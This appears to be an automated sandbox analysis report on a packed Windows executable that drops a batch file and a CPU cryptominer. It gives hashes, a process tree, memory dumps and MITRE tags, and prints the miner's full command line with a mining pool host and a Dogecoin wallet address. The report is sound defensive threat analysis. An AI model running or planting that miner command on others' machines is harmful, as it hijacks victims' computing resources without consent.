73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
304s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
24/02/2024, 11:18

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4408	b2e.exe
588	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
588	cpuminer-sse2.exe
588	cpuminer-sse2.exe
588	cpuminer-sse2.exe
588	cpuminer-sse2.exe
588	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3436-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3436 wrote to memory of 4408	3436	batexe.exe	74
PID 3436 wrote to memory of 4408	3436	batexe.exe	74
PID 3436 wrote to memory of 4408	3436	batexe.exe	74
PID 4408 wrote to memory of 212	4408	b2e.exe	75
PID 4408 wrote to memory of 212	4408	b2e.exe	75
PID 4408 wrote to memory of 212	4408	b2e.exe	75
PID 212 wrote to memory of 588	212	cmd.exe	78
PID 212 wrote to memory of 588	212	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3436
- C:\Users\Admin\AppData\Local\Temp\8702.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8702.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8702.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4408
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8993.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:212
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8702.tmp\b2e.exe

Filesize
1.1MB

MD5
c8ddb9a1b99b955d28ce987616dc783a

SHA1
6a50a41aac042de84cbe5fe9cfa8ef171c1a15ba

SHA256
d42d045c7eaec84a0576fa2d1e67566cd65686605e6f66217c2da6ec9faa060a

SHA512
8804aa717bb5d9a88543175afd4ed3363ae6d1ff9846379f9bbfb7ff1b49cf0031fd6b1cbb0b1491a94d1158663021c8bf56c47050f3192b62a0c5bb5499d397

Download Submit
C:\Users\Admin\AppData\Local\Temp\8702.tmp\b2e.exe

Filesize
256KB

MD5
18c91665349cf71648d4af5d21843ea9

SHA1
6be582f8587a42e96d73bf174cb6d6345761c192

SHA256
979d6a944f61f2cde2dea724ce5e0297005602c15fbbbcb917540ec1b1f3f937

SHA512
544d110b9bde470b9411a91f9195bf5e6914c1e5c59ec4485be08acaecd0e519d1c932181cf5a76d5241dedc362beb56f2fb407d808d554e43d408b34a621d48

Download Submit
C:\Users\Admin\AppData\Local\Temp\8993.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.3MB

MD5
ef6a02040b71d22e63f7988a52e04423

SHA1
a81e9608ffca37158156e81fe6853e84ac6fba3c

SHA256
d84ef10de9b1e134fbc6592a1403737d41821bdbc1434ace21d917d0eeaa4788

SHA512
06fd1ce4a1f01a6036011cae594b0019adb38d9378749f9f16c12f0f2c688a17cfce4dda44824c87a39e4125f744eea70a4d613079a412a7cc4daadc13380f69

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.8MB

MD5
01c252531b2161ff07257d3b004a206f

SHA1
6827c610e6260c74e6af3348605f7e3e8e13a400

SHA256
ce941594a7c74465fb07a95ca7cd7568e286092a44bb04cad5ffcc7f87ed8816

SHA512
9501d16f0c9a4ca81325c399721c61c6a9f8c4af8cbc906f47900de4daa628f486059bd7db26dc6cfb0de5c0758898bfd4caf54cd08430f9c0e33b7d42b71430

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.4MB

MD5
b71b1491d730467a75ed7fbdf01747a1

SHA1
1343767bcf774909dd71681d975dde25d28adc96

SHA256
fe4d2b32e725fc420053bd05a78c902853cad796fadedd39dcb4f059005314a8

SHA512
31ab66406b5c658aac9bfa22223384c42d053561190cdee9862b694c3e119904511e48f40ce22c67d0e6ba47927e3c50cc0ac3836c4e9ffac0b3ab66cef57ba8

Download Submit
memory/588-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/588-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/588-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/588-43-0x0000000056A30000-0x0000000056AC8000-memory.dmp

Filesize
608KB

Download
memory/588-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/588-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/588-44-0x00000000010E0000-0x0000000002995000-memory.dmp

Filesize
24.7MB

Download
memory/588-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/588-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/588-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/588-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/588-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/588-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/588-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3436-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4408-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4408-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download